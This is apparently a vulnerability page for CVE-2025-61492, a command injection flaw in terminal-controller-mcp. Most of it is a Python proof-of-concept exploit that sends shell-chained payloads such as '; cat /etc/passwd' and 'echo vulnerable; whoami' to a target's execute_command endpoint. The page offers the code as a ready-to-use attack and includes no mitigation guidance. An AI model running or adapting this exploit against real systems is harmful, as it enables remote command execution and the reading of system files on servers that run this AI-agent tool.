CVE-2025-61492 | terminal-controller-mcp 命令注入漏洞

# CVE-2025-61492 PoC - Command Injection in terminal-controller-mcp # Affected: terminal-controller-mcp <= 0.1.7 import requests import json def exploit_cve_2025_61492(target_url, malicious_command): """ PoC for CVE-2025-61492 command injection vulnerability The execute_command function does not properly sanitize user input, allowing arbitrary command execution via shell metacharacters """ # Construct malicious payload with command injection # Using semicolon to chain commands payload = malicious_command + "; cat /etc/passwd" # Example API call to execute_command function endpoint = f"{target_url}/execute_command" data = { "command": payload, "args": [] } try: response = requests.post(endpoint, json=data, timeout=10) print(f"Status: {response.status_code}") print(f"Response: {response.text}") return response.json() except Exception as e: print(f"Error: {e}") return None def main(): target = "http://target-server:port" # Malicious command injection cmd = "id" exploit_cve_2025_61492(target, cmd) if __name__ == "__main__": main() # Example: Send 'echo vulnerable' to trigger command injection # Payload: echo vulnerable; whoami # This will execute both commands on the target system